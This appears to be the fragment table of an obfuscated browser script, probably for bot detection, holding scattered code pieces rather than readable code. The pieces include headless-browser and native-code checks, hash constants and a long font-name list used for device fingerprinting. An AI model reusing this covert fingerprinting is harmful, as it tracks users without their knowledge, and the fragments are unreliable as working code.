ÿ[314]](/^(?:\\d{1,3}(?:\\.|$)){4}/);ÿ[516]],ÿ,\',\');}else{ÿ[559]]||ÿ;break;}}return[ÿ[3]],\'#\')[0]+\'#\');ÿ[71]]===ÿ(168);ÿ])?1:0);}ÿ===120||ÿ=true;while(ÿ[723]]=ÿ-1)*1000)[ÿ[703]])));}}catch(ÿ(0);}function ÿ={};;;;;;;ÿ[250]];ÿ[723]](ÿreturn false;ÿ(16,ÿ(129);ÿ){return false;}else if(ÿ<=79){ÿ(146,134217728,30);ÿ[384],ÿ+=-22;ÿ[31]]());if(ÿ(6)/3;}function ÿ&2)&&(ÿ[256]];this[ÿ){}if( !ÿ===4)){ÿ[1]);if(ÿ,\'=\');if(ÿ=\'\';for(var ÿ+=23;ÿ[562]]){ÿ==0&&ÿ===\'a\'){if(ÿ,\'`\');for(var ÿ[200],ÿ[342]);ÿ[2]),ÿ=19,ÿ,\'y\');ÿ[391]]=50;ÿ[680]);ÿ=false;}}while(ÿ,\'#\');for(var ÿ[99]]));if(ÿ=parseInt,ÿ[405];var ÿ+1]<<8)|ÿ|=524288;}}catch(ÿ[26],arguments);}function ÿ(3)*2;}function ÿ[3])){return ÿ[329]](ÿ===35||ÿ),2));}function ÿ[705],ÿ=true;}}}catch(ÿ(15);ÿ|=32768;ÿ.length){return ÿ|=8192;}else if(ÿ[4]](\"src\");if(ÿ[656]);if(this.ÿ(146,134217728,38);ÿ);if( !(ÿ[53]])return 201;return 203;}function ÿ();this.uri=arguments[1]=ÿ[124]];if(ÿ=13,ÿ[469]+ÿ(768,7);ÿ,1);try{ÿ(709,ÿ.length-1);this.ÿ-1; ++ÿ[0]]+\'.x\',ÿ(16-ÿ[612]],0,ÿ);break;case 69:case 63:if(ÿ=1;}if(ÿ[89]](ÿ;else{if(ÿ[16]]);break;case ÿ>>>31);}ÿ[1])+ÿ+1||ÿ+=3;while(ÿ(1024);}function ÿ[140],ÿ[618]);ÿ);}}var ÿ[652]];ÿ);case\'number\':return ÿ-=34;}else if(ÿ(\" \");ÿ[3]){return ÿ&4096){ÿ[223],ÿ-16];ÿ[382],ÿ,this);}ÿ());if(ÿ<=13||(ÿ=String;var ÿ===1&&ÿ&64)||ÿ[297]);ÿ=5;}return ÿ[386]]);}ÿ=\'#\'+ÿ[690]]=ÿ===11&& !ÿ/1000),ÿ[544]]!=ÿ[600]]];for(ÿ(613);ÿ[179],ÿ[196]+ÿ+=38;ÿ-2);}function ÿ.length>16||ÿ[33]];}else{ÿ[0]<<8)+ÿ<=126){ÿ= -1:ÿ= -1;while(ÿ(\"x\",ÿ(790))));ÿ(\"[\");this.ÿ);break;case 64:if(ÿ[95]){ÿ[274]]=ÿ(\"=\");this.ÿ])){return ÿ===0){return false;}if(ÿ[650]](ÿ[62]]);}}}else if(ÿ[302]],ÿ[273]));}}catch(ÿ[243];case\'boolean\':case\'null\':return ÿ[541],ÿ=false;break;}}}return ÿ+=17;ÿ)):\"\");ÿ[17]];ÿ,arguments[2]);}}else if((ÿ===\'80\')||(ÿ,\"#\")){ÿ[706]]();ÿ,\'/\');return ÿ+=114;ÿ[270],ÿ=/HeadlessChrome/[ÿ.id;if(ÿ[52],arguments);}function ÿ]&8)===8)break;}else if(ÿ-- ;}}function ÿ[34],ÿ|=128;ÿ[410])+ÿ= !(ÿ.l__=ÿ[95]](ÿ,1);}}else{ÿ=true;}ÿ;}}}}for(var ÿ[34];ÿ(32));if(ÿ)+\">\");}function ÿ;if((ÿ==null||ÿ>0){if(ÿ){return 11;}}function ÿ[525],ÿ;}}return null;}else{return ÿ.length!==21){}ÿ[151])||ÿ[276]](ÿ++ )];ÿ+1)).join(ÿ[9]](0);this.ÿ[69]){if(ÿ[670]){return ÿ[98]];ÿ[22]];}if(ÿ[366],ÿ();;;;ÿ[155]))in ÿ[70]],ÿ[8]].set=ÿ[9]](0,8);ÿ[2]+ÿ[319]]){}else if(ÿ[333]];ÿ[78],ÿ());}else{ÿ[372],\'\',ÿ&3)<<6;ÿ&1){ÿ[220],\'//\',\'/\'];for(var ÿ[3]){if(ÿ|=4194304;ÿ[64]||(ÿ[6];ÿ)>=0)return true;return ÿ[305]);}catch(ÿ;this.y=ÿ|=262144;ÿ.length);}if(ÿ= -1===ÿ[38]]|| !ÿ!==47||ÿ++ ){for(ÿ)||( typeof ÿ[46]]||this[ÿ[2]=ÿ>=0;ÿ==81){return ÿ(\"y\",ÿ){return;}for(var ÿ(84,\"}\");default:if(ÿ[146]]||ÿ[362]+ÿ!==81){ÿ(79);if( !ÿ++ );}}if(ÿ[48]]);if(ÿ&0x1f)<<16)|(ÿ[370]],ÿ<0){return ÿ[718];var ÿ[60]]);ÿ[587],ÿ)return;var ÿ,true);if(ÿ(18));ÿ){return true;}}}function ÿtry{if( !(ÿ())));ÿ={\'0.0.0.0\':true,\'127.0.0.1\':true};ÿ+1];if((ÿ>5000;ÿ[5]);}}else{ÿ);break;case 71:if(ÿ[2].ÿ[79];ÿ(623);ÿ[2][ÿ(559,ÿ<<5)|(ÿ===80)return ÿ=\'T\';var ÿ[429])===0)ÿ(79,\",\");case 58:ÿ>=58)ÿ===40)ÿ.result[ÿ[598]],ÿ[592]]){}else if(ÿ[58]);for(ÿ.length-2;while(ÿ?1:0;}else if(ÿ===\'443\')){}else{ÿ[503]));ÿ[57]]||ÿ[8]].get=ÿ,\"\\n\",ÿ===1)return ÿ(3,ÿ[553]],ÿ[29]]([ÿ=\'on\'+ÿ();}}catch(ÿ[23]){if(ÿ[316]](ÿ[538]))();return !ÿ=Object,ÿ===\'\'){return;}var ÿ[289],ÿ.length===4?ÿ[421],ÿ()===\"=\"){ÿ[338]](),ÿ=Error,ÿ[488]),ÿ=null;while(ÿ[472]],1,1);ÿ++ ];}ÿ[38]],ÿ)){return true;}return false;}function ÿ]]];ÿ[353];ÿ[27]))){return null;}ÿ]===\".\"){if(ÿ[508],ÿ[1];if( !ÿ;do{ÿ[557]];for(var ÿ++ ]^=ÿ[571],ÿ+3];ÿ.y){return true;}return false;}function ÿ[33]]&&ÿ[11]](0,64)));}return this;}function ÿ[6]](\'\\\\\',0);var ÿ[380]),ÿ[14]]==ÿ[1]!==\'_\')continue;if(this.ÿ[234]]=ÿ[28])){if( !ÿ+=6;ÿ,\"&\");for(var ÿ(62)){if(ÿ))continue;ÿ,\'a\')){ÿ(\"-->\")&&ÿ[83]);ÿ,\':\');try{var ÿ(146,134217728,32);ÿ;while(1){ÿ|=8;ÿ[506]};return\'\"\'+ÿ);switch(ÿ[588],ÿ==82){var ÿ,true);}}}catch(ÿ]);}var ÿ*0x1010101^ÿ(509);ÿ[66]&&ÿ),[ÿ=\'w{\"W%$b\\\'MvxF.3,~DcIy]s6g}*:C? [<@kY-ftN^;HLBV=0Xa1J#Z)GE8&i>\\\\m4d`!lQqOAU9K_T|RPhp+7S(orej2uz5n/\';for(ÿ)===false&&ÿ=== -1||ÿ)&& !ÿ>>>27);if(ÿ(162);}}catch(ÿ]][ÿ&&new ÿ[567]]||ÿ-=10;}ÿ[325]))){if((ÿ=11,ÿ++ ])&0xFF];}return(ÿ(85);return ÿ[110],ÿ,/[;&]/);for(ÿ&3)]))&0xffffffff;}ÿ++ ])&0xFF];}return ÿ[0]+ÿ<<1^ÿ=[];}if(ÿ[642]]&&ÿ[437]]-ÿ>>>16)&0xFF,(ÿ(146,67108864,3);}if(ÿ.length<1000;ÿ)[1];if(ÿ){}}}}function ÿ;continue;}if(ÿ=0;function checkTimer(){ÿ.length==1){return new ÿ?\'\':ÿ+\'/\'+ÿ]^ÿ=Array,ÿ[354])))ÿ[509]](ÿ>>4;ÿ(61,\"-\");}case 60:if(ÿ(\'{\\\\s*\\\\[native code\\\\]\\\\s*}\');if( typeof ÿ[2]]);var ÿ[526]]||(ÿ[78]](/(^\\s*)|(\\s*$)/g,\"\");if( !ÿ[62]],/\\r?\\n/g,ÿ[558];ÿ);break;case 73:if(ÿ=[\"EOF\",ÿ.candidate[ÿ=[];}}function ÿ);}finally{ÿ&3?ÿ(85);break;case 43:ÿ,1);}var ÿ[264]);ÿ];}else{var ÿ&4){ÿ)|0;}}function ÿ[399]);ÿ delete ÿ,\";\");for(var ÿ[41]];ÿ==\'+=\')ÿ[19]];ÿ[171],ÿ[67];var ÿ,\'.\');if(ÿ[74]]?ÿ]>ÿ]=1;ÿ=0;}else{}}catch(ÿ<<1)|(ÿ++ ;}}var ÿ[438],\"do\",ÿ]-ÿ])ÿ[74]](ÿ+=5;}else{ÿ)?ÿ|=1024;}else{ÿ[5]);if(ÿ;this.x=ÿ[703]])))||( typeof ÿ).ÿ();case 52:ÿ();case 36:ÿ(75,\">>=\");case 62:ÿ){this.x=ÿ(664);ÿ.length-1;var ÿ[673]];ÿ[38]],\'a\')){ÿ.top){ÿ());default:return ÿ[62]]);}else if(ÿ[79]&&/^(\\[object|function) Location\\b/[ÿ[711]];ÿ[7])continue;ÿ.pop();var ÿ[355],ÿ[57]])ÿ[301]]=ÿ.length-8),ÿ,3),ÿ[576]);ÿ++ ;var ÿ[78]],ÿ+=21;ÿ,0)-93;for(var ÿ[719];ÿ+\">\"+ÿ[313],ÿ,0);if(this.ÿ|=4096;}else if(ÿ[513]]=ÿ[77]));if(ÿ[4]=(ÿ[330]||ÿ[718]:\'\';var ÿ(\"[\");var ÿ+=40960));}if(ÿ[415]]){ÿ<=122)||(ÿ[441]];ÿ,\'-\');ÿ[263]],ÿ[281]])ÿ(144,3);}return;}ÿ[318]]();function ÿ()));if(ÿ,2000);ÿ[414]);if(this.ÿ.fonts[ÿ[61]||ÿ[64];}catch(ÿ==0)?ÿ[425],ÿ[63]);ÿ&0x3f)<<8)|ÿ[0]]+\".x\",ÿ=4;ÿ[2]),(ÿ>50||ÿ[646]);if(((ÿ(9);ÿ&1){var ÿ!==85){if(ÿ]+=ÿ[368]]=ÿ[9]](2);}function ÿ++ )]*7396+ÿ[148]||ÿreturn[((ÿ(true,[]),ÿ===null){return ÿ===true)ÿ.ctl=ÿ?0:1))+\"&\"+ÿ[52]]);ÿ[271]]=3;ÿ,false));break;default:ÿ);}continue;}if(ÿ=null;if( !ÿ[594]]=ÿ(0);return ÿ[490]+ÿ,true);}if(ÿ|=16384;}catch(ÿ(79);if(ÿ.push(\';\');ÿ[444]];ÿ!==1&&ÿ++ ]=((ÿ[555]||ÿ<=86){return ÿ[515]),ÿ<<2^ÿ].length;ÿ];for(var ÿ:81;var ÿ[536];var ÿ|=1073741824;ÿ[38]]){if(ÿ||( !ÿ[3]];}function ÿ<<2;ÿ[651]]=ÿ[66]);if(( typeof ÿ[251]]||ÿ(){this[ÿ(74)){ÿ(462);ÿ[88],ÿ[456]+ÿ.location[ÿ])return;if(ÿ+=1;switch(ÿ(96);ÿ+1];var ÿ();else ÿ!==null&&(ÿ[4]){if(ÿ(59,\"!\");}case 37:ÿ[79]== typeof ÿ[18]&&ÿ[3].length;ÿ[26]]){return ÿ[183]]){if(ÿ[2]]);switch(ÿ>>7)*283;}}ÿ[231])))return 1;}ÿ.put({name:ÿ[88]]===ÿ=\'80\';if(ÿ*0x1010100;ÿ(144,22);ÿ[127]]){ÿ(231,ÿ()?null:(ÿ&15)<<2];}}return ÿ(85,\")\");case 44:ÿ[464]||ÿ[304]),ÿ=\"DFPhelvetica;Tibetan Machine Uni;Cooljazz;Verdana;Helvetica Neue LT Pro 35 Thin;tahoma;LG Smart_H test Regular;DINPro-light;Helvetica LT 43 Light Extended;HelveM_India;SECRobotoLight Bold;OR Mohanty Unicode Regular;Droid Sans Thai;Kannada Sangam MN;DDC Uchen;clock2016_v1.1;SamsungKannadaRegular;MI LANTING Bold;SamsungSansNum3L Light;verdana;HelveticaNeueThin;SECFallback;SamsungEmoji;Telugu Sangam MN;Carrois Gothic SC;Flyme Light Roboto Light;SoMA-Digit Light;SoMC Sans Regular;HYXiYuanJ;sst;samsung-sans-num4T;gm_mengmeng;Lohit Kannada;times new roman;samsung-sans-num4L;serif-monospace;SamsungSansNum-3T Thin;ColorOSUI-XThin;Droid Naskh Shift Alt;SamsungTeluguRegular;Bengali OTS;MI LanTing_GB Outside YS;FZMiaoWu_GB18030;helve-neue-regular;SST Medium;Courier New;Khmer Mondulkiri Bold;Helvetica LT 23 Ultra Light Extended;Helvetica LT 25 Ultra Light;Roboto Medium;Droid Sans Bold;goudy;sans-serif-condensed-light;SFinder;noto-sans-cjk-medium;miui;MRocky PRC Bold;AndroidClock Regular;SamsungSansNum-4L Light;sans-serif-thin;AaPangYaer;casual;BN MohantyOT Bold;x-sst;NotoSansMyanmarZawgyi;Helvetica LT 33 Thin Extended;AshleyScriptMT Alt;Noto Sans Devanagari UI;Roboto Condensed Bold;Roboto Medium Italic;miuiex;Noto Sans Gurmukhi UI;SST Vietnamese Light;LG_Oriya;hycoffee;x-sst-ultralight;DFHeiAW7-A;FZZWXBTOT_Unicode;Devanagari Sangam MN Bold;sans-serif-monospace;Padauk Book Bold;LG-FZYingBiKaiShu-S15-V2.2;LG-FZYingBiKaiShu-S15-V2.3;HelveticaNeueLT Pro 35 Th;Microsoft Himalaya;SamsungSansFallback;SST Medium Italic;AndroidEmoji;SamsungSansNum-3R;ITC Stone Serif;sans-serif-smallcaps;x-sst-medium;LG_Sinhalese;Roboto Thin Italic;century-gothic;Clockopia;Luminous_Sans;Floridian Script Alt;Noto Sans Gurmukhi Bold;LTHYSZK Bold;GS_Thai;SamsungNeoNum_3T_2;Arabic;hans-sans-normal;Lohit Telugu;HYQiHei-50S Light;Lindsey for Samsung;AR Crystalhei DB;Samsung Sans Medium;samsung-sans-num45;hans-sans-bold;Luminous_Script;SST Condensed;SamsungDevanagariRegular;Anjal Malayalam MN;SamsungThai(test);FZLanTingHei-M-GB18030;Hebrew OTS;GS45_Arab(AndroidOS);Samsung Sans Light;Choco cooky;helve-neue-thin;PN MohantyOT Medium;LG-FZKaTong-M19-V2.4;Droid Serif;SamsungSinhalaRegular;helvetica;LG-FZKaTong-M19-V2.2;Noto Sans Devanagari UI Bold;SST Light;DFPEmoji;weatherfontnew Regular;RobotoNum3R;DINPro-medium;Samsung Sans Num55;SST Heavy Italic;LGlock4 Regular_0805;Georgia;noto-sans-cjk;Telugu Sangam MN Bold;MIUI EX Normal;HYQiHei-75S Bold;NotoSansMyanmarZawgyi Bold;yunospro-black;helve-neue-normal;Luminous_Serif;TM MohantyOT Normal;SamsungSansNum-3Lv Light;Samsung Sans Num45;SmartGothic Medium;georgia;casual-font-type;Samsung Sans Bold;small-capitals;MFinance PRC Bold;FZLanTingHei_GB18030;SamsungArmenian;Roboto Bold;century-gothic-bold;x-sst-heavy;SST Light Italic;TharLon;x-sst-light;Dinbol Regular;SamsungBengaliRegular;KN MohantyOTSmall Medium;hypure;SamsungTamilRegular;Malayalam Sangam MN;Noto Sans Kannada UI;helve-neue;Helvetica LT 55 Roman;Noto Sans Kannada Bold;Sanpya;SamsungPunjabiRegular;samsung-sans-num4Lv;LG_Kannada;Samsung Sans Regular;Zawgyi-One;Droid Serif Bold Italic;FZKATJW;courier new;SamsungEmojiRegular;MIUI EX Bold;Android Emoji;Noto Naskh Arabic UI;LCD Com;Futura Medium BT;Vivo-extract;Bangla Sangam MN Bold;hans-sans-regular;SNum-3R;SNum-3T;hans-sans;SST Ultra Light;Roboto Regular;Roboto Light;Hanuman;newlggothic;DFHeiAW5-A;hans-sans-light;Plate Gothic;SNum-3L;Helvetica LT 45 Light;Myanmar Sangam Zawgyi Bold;lg-sans-serif-light;MIUI EX Light;Roboto Thin;SoMA Bold;Padauk;Samsung Sans;Spacious_SmallCap;sans-serif;DV MohantyOT Medium;Stable_Slap;monaco;Flyme-Light;fzzys-dospy;ScreenSans;clock2016;Roboto Condensed Bold Italic;Arial;KN Mohanty Medium;MotoyaLMaru W3 mono;Handset Condensed;Roboto Italic;HTC Hand;SST Ultra Light Italic;SST Vietnamese Roman;Noto Naskh Arabic UI Bold;chnfzxh-medium;SNumCond-3T;century-gothic-regular;default_roboto-light;Noto Sans Myanmar;Myanmar Sangam MN;Apple Color Emoji;weatherfontReg;SamsungMalayalamRegular;arial;Droid Serif Bold;CPo3 PRC Bold;MI LANTING;SamsungKorean-Regular;test45 Regular;spirit_time;Devanagari Sangam MN;ScreenSerif;Roboto;cursive-font-type;STHeiti_vivo;chnfzxh;Samsung ClockFont 3A;Roboto Condensed Regular;samsung-neo-num3R;GJ MohantyOT Medium;Chulho Neue Lock;roboto-num3L;helve-neue-ultraLightextended;SamsungOriyaRegular;SamsungSansNum-4Lv Light;MYingHei_18030_C2-Bold;DFPShaoNvW5-GB;Roboto Black;helve-neue-ultralight;gm_xihei;LGlock4 Light_0805;Gujarati Sangam MN;Malayalam Sangam MN Bold;roboto-num3R;STXihei_vivo;FZZhunYuan_GB18030;noto-sans-cjk-light;coloros;Noto Sans Gurmukhi;Noto Sans Symbols;Roboto Light Italic;Lohit Tamil;cursive;default_roboto;BhashitaComplexSans Bold;LG_Number_Roboto Thin;monospaced-without-serifs;Helvetica LT 35 Thin;samsung-sans-num3LV;DINPro;Jomolhari;sans-serif-light;helve-neue-black;Lohit Bengali;Myanmar Sangam Zawgyi;Droid Serif Italic;Roboto Bold Italic;NanumGothic;Sony Mobile UD Gothic Regular;Georgia Bold Italic;samsung-sans-num3Lv;yunos-thin;samsung-neo-num3T-cond;Noto Sans Myanmar UI Bold;lgserif;FZYouHei-R-GB18030;Lohit Punjabi;baskerville;samsung-sans-num4Tv;samsung-sans-thin;LG Emoji;AnjaliNewLipi;SamsungSansNum-4T Thin;SamsungKorean-Bold;miuiex-light;Noto Sans Kannada;Roboto Normal Italic;Georgia Italic;sans-serif-medium;Smart Zawgyi;Roboto Condensed Italic;Noto Sans Kannada UI Bold;DFP Sc Sans Heue30_103;LG_Number_Roboto Bold;Padauk Book;x-sst-condensed;Sunshine-Uchen;Roboto Black Italic;Ringo Color Emoji;Devanagari OTS;Smart Zawgyi Pro;FZLanTingHei-M-GBK;AndroidClock-Large Regular;proportionally-spaced-without-serifs;Cutive Mono;times;LG Smart_H test Bold;DINPro-Light;sans-serif-black;Lohit Devanagari;proportionally-spaced-with-serifs;samsung-sans-num3L;MYoung PRC Medium;DFGothicPW5-BIG5HK-SONY;hans-sans-medium;SST Heavy;LG-FZZhunYuan-M02-V2.2;MyanmarUNew Regular;Noto Naskh Arabic Bold;SamsungGujarathiRegular;fantasy;helve-neue-light;Helvetica Neue OTS Bold;noto-sans-cjk-bold;samsung-sans-num3R;Lindsey Samsung;samsung-sans-num3T;ScreenSerifMono;ETrump Myanmar_ZW;helve-neue-thinextended;Noto Naskh Arabic;LG_Gujarati;Smart_Monospaced;Tamil Sangam MN;LG Emoji NonAME;Roboto Condensed Light Italic;gm_jingkai;FZLanTingKanHei_GB18030;lgtravel;palatino;Georgia Bold;Droid Sans;LG_Punjabi;SmartGothic Bold;Samsung Sans Thin;SST Condensed Bold;Comics_Narrow;courier;Oriya Sangam MN;helve-neue-lightextended;FZLanTingHei-R-GB18030;AR CrystalheiHKSCS DB;serif;RTWSYueRoudGoG0v1-Regular;MiaoWu_prev;FZY1K;LG_Number_Roboto Regular;AndroidClock;SoMA Regular;HYQiHei-40S Lightx;lg-sans-serif;Dancing Script Bold;default;sec-roboto-light;ColorOSUI-Regular;test Regular;Tamil Sangam MN Bold;FZYingBiXingShu-S16;RobotoNum3L Light;monospaced-with-serifs;samsung-sans-num35;Cool jazz;SamsungNeoNum-3L;STXingkai;ScreenSansMono;DFPWaWaW5-GB;SamsungSansNum-3L Light;Bangla Sangam MN;Gurmukhi Sangam MN;SECRobotoLight;hyfonxrain;MYingHeiGB18030C-Bold;samsung-sans-light;Helvetica LT 65 Medium;Droid Sans Fallback;Roboto Test1 Bold;Noto Sans Myanmar Bold;sans-serif-condensed-custom;SamsungNeoNum-3T;Samsung Sans Num35;monospace;TL Mohanty Medium;helve-neue-medium;LTHYSZK;Roboto Condensed custome Bold;Myanmar3;Droid Sans Devanagari;ShaoNv_prev;samsung-neo-num3L;FZLanTingHei-EL-GBK;yunos;samsung-neo-num3T;Times New Roman;helve-neue-bold;noto-sans-cjk-regular;Noto Sans Gurmukhi UI Bold;DINPro-black;FZLanTingHei-EL-GB18030;SST Vietnamese Medium;Roboto Condensed Light;SST Vietnamese Bold;AR DJ-KK;Droid Sans SEMC;Noto Sans Myanmar UI;Coming Soon;MYuppy PRC Medium;Rosemary;Lohit Gujarati;Roboto Condensed custom Bold;FZLanTingHeiS-R-GB;Helvetica Neue OTS;Kaiti_prev;Roboto-BigClock;FZYBKSJW;Handset Condensed Bold;SamsungGeorgian;Dancing Script;sans-serif-condensed;hans-sans-thin;SamsungSansNum-4Tv Thin;Lohit Odia;BhashitaComplexSans\"[ÿ[476]]===ÿ[24]]){return ÿ-1];}ÿ[0]===\' \')ÿ[639]],ÿ)>1){ÿ=String.fromCharCode;ÿ[639]](ÿ[40]);if(ÿ[98]]();}}function ÿ[27])ÿ(73);if(ÿ[560],ÿ(79);ÿ(139);ÿ[252]);if(ÿ-=27;}else if(ÿ;};var ÿ(768,3);ÿ!=true)){ÿ[0],\'=\');try{ÿ[376],ÿ[60],ÿ[531],ÿ[69]](false);ÿ[39];this[ÿ();break;case 35:ÿ[116]){return ÿ++ ]));}return ÿ===88){do{ÿ(747,ÿ[27]&&ÿ[10]);if( !ÿ[216]])];}else{return[ÿ[3]],\"#\")[0];}ÿ===\"\'\"))return ÿ&63];}if(ÿ[226]],ÿ(67,\"*\");}case 43:ÿ];}else{return ÿ[28])&&ÿ[596]]&&ÿ[471]);var ÿ&64)){return;}ÿ===\'src\'){if(ÿ[429])===0;ÿ[608]];if(ÿ[38]]){ÿ[327]]||[]).join(\',\'));ÿ===7-1)?0:ÿ+1;}function ÿ[93]](\'i\');while(ÿ<=9&&( !ÿ.y+ÿ[192]]);ÿ[238]&&ÿ(10);if(ÿ[462]]||ÿ[361];}}function ÿ();if(this.ÿ();};function ÿ[609]]&&/Android 4\\.[0-3].+ (GT|SM|SCH)-/[ÿ<127;ÿ[9]](0,24))){return ÿ>0){return;}try{ÿ[363]);ÿ[593])ÿ)var ÿ().join(\'\');}ÿ]>>8)+ÿ[98]]();ÿ>5000){ÿ===\'\'){ÿ%2==0){ÿ[229],ÿ[648]]-ÿ>>>8;}}for(ÿ]);}return\'[\'+ÿ=\':\';var ÿ,arguments[2],arguments[3]);}}else if(ÿ[712],ÿ[649]];ÿ+\"=\"),ÿ[423])))ÿ[649]]=ÿ():(ÿ,\'?\')[0]+\'?\'+ÿ!== -1)ÿ[527]]()*256);ÿ[269],ÿ===\"+=\"){return ÿ,0)!==\'=\'){ÿ,1);return true;}}function ÿ(75,\"+=\");default:return ÿ[433]];for(ÿ+1);}function ÿ[413],ÿ?0:1;}function ÿ>>8)&0xFF;if(ÿ|=65536;ÿ(264, -90,90,ÿ(42)){ÿ[49]){return ÿ[554]));ÿ,\"=\");if(ÿ.length===2){ÿ(50),ÿ);}else{if( !ÿ,\"\\n\")>=0;return ÿ.length-1);ÿ(430,ÿ[324]].now();}else{return ÿ[31]](16), -4);}}function ÿ===45||ÿ]);}catch(ÿ?3:1]^ÿ[293]]=true;}function ÿ/0x100000000)&0xffffffff,ÿ++ )];}else if(ÿ[98]]();}else{ÿ===6){if(ÿ[64]];var ÿ.apply(null,ÿ[503],ÿ[77])){return;}}ÿ[15];ÿ[65]))){if(ÿ+=46;ÿ[15]=ÿ[177]],ÿ&256)){ÿ[297]];var ÿ[0];if(ÿ[265];ÿ[0]];var ÿ[633])){return ÿ,\'#\');ÿ[14]];if( !ÿ[548]](ÿ=16,ÿ[407]|| typeof ÿ-=3;while(ÿ){}}ÿ[486]],ÿ[71],ÿ)/(ÿ[163],\"int\",ÿ=Function;var ÿ(13));var ÿ;}}}catch(ÿ[614]](ÿ+2];if((ÿ[48]])+ÿ=this;try{if(ÿ[11];ÿ[507],ÿ,1);var ÿ[286]]=ÿ[614]]=ÿ[286]];ÿ===98){do{ÿ[175]](ÿ[332],ÿ()));for(var ÿ=[0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0];this.ÿ[530]],ÿ===77))return new ÿ[609]]))){ÿ[176]](0)[ÿ(){switch(arguments.length){case 0:return ÿ[104]]){if(ÿ(69,\">=\");case 62:ÿ===92||ÿ[0].length-1)!==\'?\'){ÿ[395]),ÿ[422]]();ÿ[39]],ÿ])){return true;}}return false;}function ÿ[1]);case 3:return ÿ(arguments[0],this.uri,true);return ÿ[2]]==\"\")){try{var ÿ(20+1);var ÿ){return\"\";}var ÿ[361])){}var ÿ<16;ÿ[31]]();var ÿ){return null;}}ÿ===49)break;}}while(ÿ(228);ÿ[25]](\'.\');ÿ-- ){if(ÿ[85]],ÿ[697])ÿ[77]);if(ÿ<=2){ÿ[91])){var ÿ++ );}if(ÿ;;var ÿ(268,ÿ[616]));ÿ[33]]!==ÿ[41]){return ÿ.length>0){return new ÿ[351],\'\');ÿ[364]);var ÿ]&1)===1;if(ÿ[16];ÿ[16]=ÿ[31]!==ÿ>3){ÿ===3||ÿ[695]],ÿ>100);ÿ[0].length>0&&ÿ(8));ÿ-1]===\"..\"){ÿ[0],\'?\');var ÿ());case 53:ÿ===66||ÿ,0);return;}return ÿ[459]]){ÿ[420],ÿ[25]](\':\');for(ÿ.length!==32);return ÿ[624]))){ÿ[45]]()-100000);ÿ[385],ÿ){case 76:ÿ(6));ÿ)!== -1)ÿ[35]]?\':\'+ÿ()){case\"/\":ÿ[485]]){ÿ[9]](8,12));ÿ(144,17);else if(ÿ===\'#\'){}else{ÿ[248]],ÿ=20,ÿ[335]+( ++ÿ+=\'\';var ÿ])&& typeof(ÿ[126],ÿ++ ){if( typeof ÿ=11;return ÿ([(ÿ,\'\'];return[ÿ[644]][ÿ-1),ÿ-1)+ÿ[9]](4));ÿ.y)*(ÿ[174];ÿ()==1){if(ÿ[630],ÿ+\" (\"+ÿ,\'/\');if((ÿ[443]]);}ÿ={};for(ÿ[424];ÿ+2]<<8)|ÿ[386]],ÿ-- >0)ÿ[386]])ÿ=15,ÿ,value:ÿ===69){ÿreturn -1;ÿ,50000));ÿ)return 1;}ÿ[430]];var ÿ<16&&ÿ[11]](0,64)));}ÿ+=12;ÿ&1073741824){if(ÿ===85?null:ÿ[213]]&& !ÿ.length-1);}return ÿ>>>24^ÿ>this.ÿ=\"\";}var ÿ);break;default:ÿ[251]];ÿ!==\'a\'){ÿ.HTMLFormElement[ÿ[61]];var ÿ[434]](ÿ,20);return;}var ÿ]=\'%\'+ÿ(arguments[1]);return ÿ());}return new ÿ<126)ÿ+=42;ÿ[418]){ÿ[8]];if(ÿ[102],ÿ[132]),ÿ]+\'\\\\b\',\'gim\');if(ÿ.length>0||ÿ.length==2){return new ÿ[659]),ÿ<4||ÿ=false;try{var ÿ<=59){ÿ[1]+(new ÿ[7]){ÿ[0]);}}else if(ÿ,\'x\',ÿ[602]]();if(ÿ=9,ÿ[595]](0,0,100,30);ÿ===(ÿ[103]in ÿ(75,ÿ[83]];this[ÿ())?ÿ[436]]){ÿ;;;;;;;ÿ+\'\\\\b\',\'ig\');var ÿ){case 43:ÿ[323],ÿ[45]]()/1000);}function ÿ(14);if(ÿ[31],ÿ===4)){var ÿ[682],ÿ.length!==2)continue;if(ÿ,\'a\')&& typeof ÿ.length%16),ÿ[207];}var ÿ[45]]();}function ÿ===\'\'&&ÿ==null)return ÿ[468];ÿ?\'?\'+ÿ[581]);default:return ÿ[483])||ÿ[430]]||ÿ[284]),ÿ[125]),ÿ.now){return ÿ[707],ÿ.length>2){var ÿ[35]];if( !ÿ[95],ÿ[504]];for(var ÿ){case\'string\':return ÿ[198]]||ÿ[25]](\';\');ÿ)return false;var ÿ[60]){ÿ[1]=(ÿ[214]]){ÿ.length-1){break;}}if(ÿ;else return ÿ.length-1]=ÿ[340]);ÿ[83]){if(ÿ=[];for(;;){var ÿ<=79;ÿ[1];}var ÿ,\'#\')[0],\'?\');var ÿ[641]],ÿ(146,134217728,41);ÿ===10){ÿ[484],ÿ|=32;ÿ[25]](\"/\");var ÿ=17,ÿ(32);ÿ(\'>8&255]]^ÿ,false));}}ÿ.join(\';\'));ÿ-1]===\".\"||ÿ[0],\'?\',ÿ-32,ÿ[31]]()));}ÿ[580]);}catch(ÿ;}}}return;}}return ÿ(8,ÿ,\"?\");if(ÿ[253]]),ÿ[49]){if(ÿ[415]]);}else if(ÿ=[36,55,37,38,39,40,41,57,49,54,35,42,48,43,44,62,63,56,35,52,51,53,35,45,57,46,57,50,47];function ÿ[9]](0,20);}else{}}catch(ÿ/(ÿ[1].length+ÿ[315],ÿ[530]]){return[ÿ+1]&0x3F);ÿ(146,134217728,33);ÿ[1]===ÿ)return true;var ÿ[295]))();ÿ[81]){ÿ(66,\"^\");}case 124:ÿ-1,2);ÿ[3]);}else{ÿ[8]].push){ÿ[485]]()[ÿ===0||(ÿ[610])||ÿ(34);ÿ,[ÿ;case 1:return ÿ<<4;ÿ[31]]()));if(ÿ-3;for(ÿ(21)+ÿ,\"=\",ÿ[670]]();if(ÿ[427]]);ÿ<=1){return 0;}var ÿ(504);ÿ[706]]=ÿ>20000&&( !ÿ,\"#\")[0];var ÿ.y));}function ÿ[58])){ÿ(75,\"&=\");default:return ÿ(258,(ÿ;}if( !(ÿ[105],\"var\",ÿ[184],ÿ[700]]);ÿ[41],ÿ.join(\':\'));ÿ[291]],ÿ[549]]!=ÿ[497]],ÿ[676]]||ÿ,/\\r\\n?|[\\u2028\\u2029]/g,\"\\n\"),ÿ<=19){ÿ&1)?(0xEDB88320^(ÿ(768,3);var ÿ[0]),(ÿ[358];var ÿ[3])];}function ÿ)return;for(var ÿ));}}}}else 